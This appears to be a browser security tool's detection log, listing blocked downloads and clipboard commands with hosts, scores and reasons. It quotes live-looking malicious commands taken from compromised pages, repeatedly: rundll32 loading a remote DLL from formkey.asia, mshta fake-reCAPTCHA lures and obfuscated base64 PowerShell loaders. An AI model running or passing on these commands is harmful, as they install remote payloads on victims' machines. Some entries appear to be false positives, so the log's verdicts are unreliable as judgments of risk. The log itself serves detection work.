| 2026-05-25T09:40:08+00:00 | 192.168.0.49 | - | Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Detected snippet: "Unsafe download blocked: bDeBypas.cmd" Detected snippet: "Blocked extension: .cmd" Detected snippet: "Download served over insecure HTTP." Detected snippet: "Download host is an IP address." Detected snippet: "Unfamiliar download host: 192.168.0.49" Detected snippet: "Runtime verdict: unsafe (75/100)" Detected snippet: "Models URL:14 Content:18 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: bDeBypas.cmd" Detected snippet: "Runtime reason: Blocked extension: .cmd" Detected snippet: "Runtime reason: Download served over insecure HTTP." Detected snippet: "Runtime reason: Download host is an IP address." Confidence score: 75/100 | pending |
| 2026-05-25T09:40:08+00:00 | 5.2.243.240 | - | Detected snippet: "Unsafe download blocked: rustdesk-1.4.6-x86_64.exe" Detected snippet: "Blocked extension: .exe" Detected snippet: "Download host is an IP address." Detected snippet: "Unfamiliar download host: 5.2.243.240" Detected snippet: "Runtime verdict: suspicious (55/100)" Detected snippet: "Models URL:14 Content:18 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: rustdesk-1.4.6-x86_64.exe" Detected snippet: "Runtime reason: Blocked extension: .exe" Detected snippet: "Runtime reason: Download host is an IP address." Detected snippet: "Runtime reason: Unfamiliar download host: 5.2.243.240" Confidence score: 55/100 | pending |
| 2026-05-25T09:10:08+00:00 | 119.45.45.15 | - | Detected snippet: "Unsafe download blocked: ngrok.exe" Detected snippet: "Blocked extension: .exe" Detected snippet: "Download served over insecure HTTP." Detected snippet: "Download host is an IP address." Detected snippet: "Unfamiliar download host: 119.45.45.15" Detected snippet: "Runtime verdict: unsafe (65/100)" Detected snippet: "Models URL:14 Content:18 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: ngrok.exe" Detected snippet: "Runtime reason: Blocked extension: .exe" Detected snippet: "Runtime reason: Download served over insecure HTTP." Detected snippet: "Runtime reason: Download host is an IP address." Confidence score: 65/100 | pending |
| 2026-05-25T09:40:08+00:00 | 192.168.0.55 | - | Detected snippet: "Unsafe download blocked: damiano.exe" Detected snippet: "Blocked extension: .exe" Detected snippet: "Download served over insecure HTTP." Detected snippet: "Download host is an IP address." Detected snippet: "Unfamiliar download host: 192.168.0.55" Detected snippet: "Runtime verdict: unsafe (65/100)" Detected snippet: "Models URL:14 Content:18 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: damiano.exe" Detected snippet: "Runtime reason: Blocked extension: .exe" Detected snippet: "Runtime reason: Download served over insecure HTTP." Detected snippet: "Runtime reason: Download host is an IP address." Confidence score: 65/100 | pending |
| 2026-05-27T23:02:26+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Detected snippet: "Unsafe download blocked: SSA-5423.zip" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: suspicious (55/100)" Detected snippet: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: SSA-5423.zip" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 55/100 | pending |
| 2026-05-27T23:02:26+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Detected snippet: "Unsafe download blocked: RemotePCHost_9H9aGXjN230D6PP.exe" Detected snippet: "Blocked extension: .exe" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: unsafe (83/100)" Detected snippet: "Models URL:0 Content:18 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: RemotePCHost_9H9aGXjN230D6PP.exe" Detected snippet: "Runtime reason: Blocked extension: .exe" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 83/100 | pending |
| 2026-05-27T23:02:26+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Detected snippet: "Unsafe download blocked: SSA-5427.zip" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: suspicious (55/100)" Detected snippet: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: SSA-5427.zip" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 55/100 | pending |
| 2026-05-27T23:02:26+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Detected snippet: "Unsafe download blocked: RemotePCHost_9H9aGXjN230D6PP (1).exe" Detected snippet: "Blocked extension: .exe" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: unsafe (83/100)" Detected snippet: "Models URL:0 Content:18 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: RemotePCHost_9H9aGXjN230D6PP (1).exe" Detected snippet: "Runtime reason: Blocked extension: .exe" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 83/100 | pending |
| 2026-05-27T23:02:26+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Detected snippet: "Unsafe download blocked: RemotePCHost_J9MklNSFfabw39e.exe" Detected snippet: "Blocked extension: .exe" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: unsafe (83/100)" Detected snippet: "Models URL:0 Content:18 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: RemotePCHost_J9MklNSFfabw39e.exe" Detected snippet: "Runtime reason: Blocked extension: .exe" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 83/100 | pending |
| 2026-05-24T15:23:16+00:00 | search.brave.com | REINCIDENTE DOM x1 | Manual user report | pending |
| 2026-05-24T15:23:15+00:00 | search.brave.com | REINCIDENTE DOM x1 | Reported false positive | pending |
| 2026-05-22T13:11:55+00:00 | bebeto-tn.com | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\b73f27cc-60b2-433b-aa39-23ea2c8d84a6\ton.ch,#1 a1GTjxjL" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\b73f27cc-60b2-433b-aa39-23ea2c8d84a6\ton.ch,#1 a1GTjxjL" Puntuación de confianza: 53/100 | pending |
| 2026-05-22T12:06:58+00:00 | www.interceptsecurityservices.ca | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\4b5c278f-71f2-4f39-9bb9-7ceea18e5cbf\ton.ch,#1 a1GTjxjL" Fragmento detectado: "Runtime verdict: suspicious (43/100)" Fragmento detectado: "Models URL:8 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Very long subdomain label." Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\4b5c278f-71f2-4f39-9bb9-7ceea18e5cbf\ton.ch,#1 a1GTjxjL" Puntuación de confianza: 53/100 | pending |
| 2026-05-22T12:01:24+00:00 | lorenzmediation.com | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\f0bdf26e-1daf-416a-9de6-f5d8a2e867d6\ton.ch,#1 a1GTjxjL" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\f0bdf26e-1daf-416a-9de6-f5d8a2e867d6\ton.ch,#1 a1GTjxjL" Puntuación de confianza: 53/100 | pending |
| 2026-05-22T11:55:56+00:00 | biletors.cfd | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$ctrl3a=[Convert]::FromBase64String('56wzgkfatA3joCxLISUtGrSu7tjnS+uzd0Fkst/Fnno=');$batch5b=[Convert]::FromBase64String('NFXr8VQv8WBbV6fPrrkylA==');$cache1e..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$ctrl3a=[Convert]::FromBase64String('56wzgkfatA3joCxLISUtGrSu7tjnS+uzd0Fkst/Fnno=');$batch5b=[Convert]::FromBase64String('NFXr8VQv8WBbV6fPrrkylA==');$cache1e..." Puntuación de confianza: 46/100 | pending |
| 2026-05-22T11:55:51+00:00 | lacuchararestaurante.es | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\0b0ac2c9-e29e-4047-9d0a-3cdf9d49e258\ton.ch,#1 a1GTjxjL" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\0b0ac2c9-e29e-4047-9d0a-3cdf9d49e258\ton.ch,#1 a1GTjxjL" Puntuación de confianza: 53/100 | pending |
| 2026-05-22T11:55:51+00:00 | pierrejoinery.co.uk | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\625b68c3-31cc-46b2-837f-5a45fbb0f105\ton.ch,#1 a1GTjxjL" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\625b68c3-31cc-46b2-837f-5a45fbb0f105\ton.ch,#1 a1GTjxjL" Puntuación de confianza: 53/100 | pending |
| 2026-05-22T11:55:51+00:00 | thespaceprojectco.com.au | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\8e09a5ee-1c27-40e2-aab8-7cb8ffe8cd50\ton.ch,#1 a1GTjxjL" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\8e09a5ee-1c27-40e2-aab8-7cb8ffe8cd50\ton.ch,#1 a1GTjxjL" Puntuación de confianza: 53/100 | pending |
| 2026-05-22T11:50:55+00:00 | raldirisgonzalez.com | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\80d0b882-19d6-4e6a-a9f3-46d4a054bb7c\ton.ch,#1 a1GTjxjL" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\80d0b882-19d6-4e6a-a9f3-46d4a054bb7c\ton.ch,#1 a1GTjxjL" Puntuación de confianza: 54/100 | pending |
| 2026-05-22T11:50:52+00:00 | biletors.cfd | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$pipe6j=[Convert]::FromBase64String('UByNMXMZCmIe0UwUD1MYpaRFNd5MiVqERpNKNILP5J8=');$handle8f=[Convert]::FromBase64String('cniyi+mgvlONgTYEXC2aAw==');$handle..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$pipe6j=[Convert]::FromBase64String('UByNMXMZCmIe0UwUD1MYpaRFNd5MiVqERpNKNILP5J8=');$handle8f=[Convert]::FromBase64String('cniyi+mgvlONgTYEXC2aAw==');$handle..." Puntuación de confianza: 46/100 | pending |
| 2026-05-22T11:45:55+00:00 | bec-group.com | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\569c1276-4aae-4add-8214-8f62872759fd\ton.ch,#1 a1GTjxjL" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\569c1276-4aae-4add-8214-8f62872759fd\ton.ch,#1 a1GTjxjL" Puntuación de confianza: 53/100 | pending |
| 2026-05-22T11:45:55+00:00 | teacheducator.com | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\851ddfb4-9c84-45cd-bb4e-659a8ff866c1\ton.ch,#1 a1GTjxjL" Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c "" start rundll32.exe \\formkey.asia@ssl\851ddfb4-9c84-45cd-bb4e-659a8ff866c1\ton.ch,#1 a1GTjxjL" Puntuación de confianza: 53/100 | pending |
| 2026-05-22T11:26:30+00:00 | biletors.cfd | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$scope5b=[Convert]::FromBase64String('Ig2nkQlGOmrUxwKjbi5WvKbacvrENt4KE+agj0oHr6E=');$pipe1e=[Convert]::FromBase64String('xS0Rr/NUUbZNbT60knrMZg==');$queue4h..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$scope5b=[Convert]::FromBase64String('Ig2nkQlGOmrUxwKjbi5WvKbacvrENt4KE+agj0oHr6E=');$pipe1e=[Convert]::FromBase64String('xS0Rr/NUUbZNbT60knrMZg==');$queue4h..." Puntuación de confianza: 46/100 | pending |
| 2026-05-22T11:26:29+00:00 | biletors.cfd | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$ctrl0k=[Convert]::FromBase64String('ZJAe+A763ZjJAyXkf8eNbKEuCoha3OqYu1xaGYPFQ0Q=');$cache9g=[Convert]::FromBase64String('idSQL+dkhp6xgUZe5JFwLg==');$port2d=..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$ctrl0k=[Convert]::FromBase64String('ZJAe+A763ZjJAyXkf8eNbKEuCoha3OqYu1xaGYPFQ0Q=');$cache9g=[Convert]::FromBase64String('idSQL+dkhp6xgUZe5JFwLg==');$port2d=..." Puntuación de confianza: 53/100 | pending |
| 2026-05-22T11:26:29+00:00 | biletors.cfd | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$store2d=[Convert]::FromBase64String('W7zLG4WQgmDP45Wr2NKa9a9YY01aHl7G618kQML3nqs=');$auth9g=[Convert]::FromBase64String('FKf4fFgL35EUGS/6fTE1Qw==');$pipe8f=..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$store2d=[Convert]::FromBase64String('W7zLG4WQgmDP45Wr2NKa9a9YY01aHl7G618kQML3nqs=');$auth9g=[Convert]::FromBase64String('FKf4fFgL35EUGS/6fTE1Qw==');$pipe8f=..." Puntuación de confianza: 51/100 | pending |
| 2026-05-21T17:23:23+00:00 | www.enisa.europa.eu | - | Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: ENISA%20Threat%20Landscape%202025_v1.2.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Unfamiliar download host: www.enisa.europa.eu" Fragmento detectado: "Runtime verdict: low (10/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:0 Brand:10 Vision:0" Fragmento detectado: "Runtime reason: Brand mismatch: mentions meta but host is www.enisa.europa.eu." Puntuación de confianza: 16/100 | pending |
| 2026-05-21T17:23:23+00:00 | www.lmforums.com | - | Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: NCC%20Middle%20East%20Crisis%20Cyber%20Update.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Unfamiliar download host: www.lmforums.com" Fragmento detectado: "Runtime verdict: low (10/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:0 Brand:10 Vision:0" Fragmento detectado: "Runtime reason: Brand mismatch: mentions meta but host is www.lmforums.com." Puntuación de confianza: 16/100 | pending |
| 2026-05-21T17:23:23+00:00 | rausi.ca | - | Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: CyberIntelligence_Report_2026-01-08.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Unfamiliar download host: rausi.ca" Fragmento detectado: "Runtime verdict: low (0/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:0 Brand:0 Vision:0" Puntuación de confianza: 16/100 | pending |
| 2026-05-21T17:23:23+00:00 | serviceware-se.com | - | Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: crowdstrike-endpoint-protection-pitch-deck-02-2026.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Unfamiliar download host: serviceware-se.com" Fragmento detectado: "Runtime verdict: low (0/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:0 Brand:0 Vision:0" Puntuación de confianza: 16/100 | pending |
| 2026-05-21T17:18:23+00:00 | cert.ssi.gouv.fr | - | Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: CERTFR-2026-CTI-003.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Unfamiliar download host: cert.ssi.gouv.fr" Fragmento detectado: "Runtime verdict: low (0/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:0 Brand:0 Vision:0" Puntuación de confianza: 16/100 | pending |
| 2026-05-21T08:01:19+00:00 | pdf.lab.local | - | Detected snippet: "Non-HTML content probe (unknown)" Detected snippet: "Filename: good.js" Detected snippet: "Extension: .js" Detected snippet: "Blocked extension: .js" Detected snippet: "Unfamiliar download host: pdf.lab.local" Detected snippet: "Runtime verdict: low (20/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:0 Vision:20" Detected snippet: "Runtime reason: Download risk engine classified artifact as unsafe." Confidence score: 20/100 | pending |
| 2026-05-18T07:58:57+00:00 | cdpn.io | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. Detected snippet: "mshta https://cdpn.io/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 7373''" Detected snippet: "Runtime verdict: low (19/100)" Detected snippet: "Models URL:0 Content:19 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "mshta https://cdpn.io/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 7373''" Confidence score: 48/100 | pending |
| 2026-05-18T07:58:57+00:00 | cdpn.io | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. Detected snippet: "mshta https://cdpn.io/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 8820''" Detected snippet: "Runtime verdict: low (19/100)" Detected snippet: "Models URL:0 Content:19 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "mshta https://cdpn.io/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 8820''" Confidence score: 46/100 | pending |
| 2026-05-18T07:58:57+00:00 | cdpn.io | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. Detected snippet: "mshta https://cdpn.io/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 2416''" Detected snippet: "Runtime verdict: low (19/100)" Detected snippet: "Models URL:0 Content:19 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "mshta https://cdpn.io/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 2416''" Confidence score: 44/100 | pending |
| 2026-05-18T07:58:57+00:00 | cdpn.io | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. Detected snippet: "mshta https://cdpn.io/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 6954''" Detected snippet: "Runtime verdict: low (19/100)" Detected snippet: "Models URL:0 Content:19 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "mshta https://cdpn.io/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 6954''" Confidence score: 42/100 | pending |
| 2026-05-18T07:58:56+00:00 | cdpn.io | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. Detected snippet: "mshta https://cdpn.io/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 7456''" Detected snippet: "Runtime verdict: low (19/100)" Detected snippet: "Models URL:0 Content:19 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "mshta https://cdpn.io/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 7456''" Confidence score: 40/100 | pending |
| 2026-05-18T07:58:56+00:00 | cdpn.io | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. Detected snippet: "mshta https://cdpn.io/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 8565''" Detected snippet: "Runtime verdict: low (19/100)" Detected snippet: "Models URL:0 Content:19 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "mshta https://cdpn.io/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 8565''" Confidence score: 37/100 | pending |
| 2026-05-18T07:33:57+00:00 | cdpn.io | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. Detected snippet: "mshta https://cdpn.io/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 5265''" Detected snippet: "Runtime verdict: low (19/100)" Detected snippet: "Models URL:0 Content:19 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "mshta https://cdpn.io/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 5265''" Confidence score: 42/100 | pending |
| 2026-05-18T07:33:57+00:00 | cdpn.io | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. Detected snippet: "mshta https://cdpn.io/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 3875''" Detected snippet: "Runtime verdict: low (19/100)" Detected snippet: "Models URL:0 Content:19 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "mshta https://cdpn.io/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 3875''" Confidence score: 40/100 | pending |
| 2026-05-18T07:33:56+00:00 | cdpn.io | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. Detected snippet: "mshta https://cdpn.io/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 5176''" Detected snippet: "Runtime verdict: low (19/100)" Detected snippet: "Models URL:0 Content:19 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "mshta https://cdpn.io/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 5176''" Confidence score: 37/100 | pending |
| 2026-05-14T18:08:03+00:00 | chatgpt.com | - | Suspicious command detected in the clipboard. Obfuscated or encoded command content detected. Detected snippet: "The easiest way is to use Zoom’s official test meeting page: Zoom Test Meeting It lets you: Check your webcam preview Test your microphone and speakers Confi..." Detected snippet: "Runtime verdict: low (21/100)" Detected snippet: "Models URL:0 Content:21 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Obfuscation/evasion pattern found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "The easiest way is to use Zoom’s official test meeting page: Zoom Test Meeting It lets you: Check your webcam preview Test your microphone and speakers Confi..." Confidence score: 34/100 | pending |
| 2026-05-14T18:08:03+00:00 | chatgpt.com | - | Suspicious command detected in the clipboard. Obfuscated or encoded command content detected. Detected snippet: "The easiest way is to use Zoom’s official test meeting page: | pending |
| 2026-05-14T17:42:30+00:00 | chatgpt.com | - | Suspicious command detected in the clipboard. Obfuscated or encoded command content detected. Detected snippet: "Use Zoom’s test meeting page | pending |
| 2026-05-14T17:42:30+00:00 | chatgpt.com | - | Suspicious command detected in the clipboard. Obfuscated or encoded command content detected. Detected snippet: "Use Zoom’s test meeting page Zoom Test Meeting This lets you: Preview your webcam video Test microphone and speakers Check audio quality before the real meet..." Detected snippet: "Runtime verdict: low (21/100)" Detected snippet: "Models URL:0 Content:21 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Obfuscation/evasion pattern found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "Use Zoom’s test meeting page Zoom Test Meeting This lets you: Preview your webcam video Test microphone and speakers Check audio quality before the real meet..." Confidence score: 34/100 | pending |
